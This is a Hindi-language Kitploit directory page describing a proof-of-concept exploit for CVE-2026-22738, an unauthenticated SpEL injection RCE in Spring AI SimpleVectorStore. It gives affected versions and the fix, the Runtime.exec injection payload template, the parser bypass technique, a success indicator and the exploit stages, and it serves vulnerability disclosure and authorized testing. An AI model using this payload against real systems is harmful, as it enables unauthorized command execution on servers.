Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-22738-POC — CVE-2026-22738 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Spring AI SimpleVectorStore में एक गंभीर SpEL इंजेक्शन RCE है, जो बिना प्रमाणीकरण के OS कमांड निष्पादन को प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/n0n4m3x41/cve-2026-22738-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubn0n4m3x41/cve-2026-22738-poc

CVE-2026-22738-POC

CVE-2026-22738 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Spring AI SimpleVectorStore में एक गंभीर SpEL इंजेक्शन RCE है, जो बिना प्रमाणीकरण के OS कमांड निष्पादन को प्रदर्शित करता है।

रिपॉजिटरी देखें
1324 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-22738 — Spring AI SimpleVectorStore में SpEL इंजेक्शन RCE

CVSS CWE Status

SimpleVectorStore.similaritySearch() में Spring Expression Language (SpEL) इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन।

प्रभावित संस्करण

| Flag | Default | Description | |---|---|---| | `--target` | `http://localhost:8082` | भेद्य एप्लिकेशन का बेस URL | | `--wait` | off | तब तक पोल करें जब तक लक्ष्य तैयार न हो (`docker compose up` के बाद उपयोगी) |
ArtifactVulnerableFixed
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

फिक्स कमिट: ba9220b22383e430d5f801ce8e4fa01cf9e75f29


भेद्यता

SimpleVectorStore.similaritySearch() कॉलर द्वारा आपूर्ति किए गए फ़िल्टर कुंजी नाम को शब्दशः एक SpEL टेम्पलेट में पास करता है जिसका मूल्यांकन StandardEvaluationContext द्वारा किया जाता है। चूंकि StandardEvaluationContext पूर्ण JVM रिफ्लेक्शन API को उजागर करता है, एक हमलावर इंजेक्ट कर सकता है:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

फ़िल्टर कुंजी में, जिससे बिना प्रमाणीकरण के OS कमांड निष्पादन प्राप्त होता है।

बायपास विवरण

सीधा इंजेक्शन तुरंत काम नहीं करता — दो पार्सर विशेषताओं को पार करना आवश्यक है:

  1. सिंगल-कोट स्ट्रिपिंग — ' से शुरू होने वाली कुंजी को उद्धृत स्ट्रिंग माना जाता है; बाहरी उद्धरण हटा दिए जाते हैं, जिससे पेलोड विकृत हो जाता है।
  2. डबल-कोट रैपर — पेलोड को "..." में लपेटने से पार्सर बाहरी डबल-कोट हटा देता है, जिससे आंतरिक SpEL एक्सप्रेशन #metadata['<KEY>'] को पास किए गए कुंजी मान के रूप में बरकरार रहता है।
  3. खाली मेटाडेटा कुंजी — इंजेक्टेड एक्सप्रेशन के दोनों ओर #metadata[''] का उपयोग करना (अपरिभाषित चर के बजाय) unknown variable SpEL त्रुटि से बचाता है जबकि exec() को ट्रिगर करता रहता है।

परिणामी मूल्यांकित एक्सप्रेशन निम्न रूप लेता है:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

सफलता संकेतक

HTTP प्रतिक्रिया बॉडी में EL1030E — SpEL रनटाइम त्रुटि शामिल होगी:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

यह त्रुटि exec() लौटने के बाद उठाई जाती है, जो बिना आउट-ऑफ-बैंड कॉलबैक के OS-स्तरीय कमांड निष्पादन की पुष्टि करती है।


उपयोग

पूर्वापेक्षाएँ:

root@kitploit:~
pip install requests

एक्सप्लॉइट चलाएँ:

root@kitploit:~
python3 exploit.py [--target http://localhost:8082] [--wait]
image

Docker Desktop (macOS/Windows): कॉलबैक पेलोड के लिए 127.0.0.1 के बजाय host.docker.internal का उपयोग करें।


एक्सप्लॉइट चरण

PoC पाँच क्रमिक चरण चलाता है:

StepDescription
1बेसलाइन जाँच — पुष्टि करें कि एंडपॉइंट पहुंच योग्य है और सीडेड डेटा लौटाता है
2ब्लाइंड SpEL प्रोब — इंजेक्शन बिंदु की पुष्टि के लिए T(java.lang.System) के माध्यम से java.version पढ़ें
3RCE: कंटेनर के अंदर touch /tmp/pwned_cve_2026_22738
4RCE: id / uname / hostname आउटपुट को /tmp/rce_proof.txt में लिखें
5docker exec के माध्यम से सत्यापित करें — प्रूफ़ फ़ाइल की सामग्री प्रिंट करें

अस्वीकरण

यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।

टूल डाउनलोड करें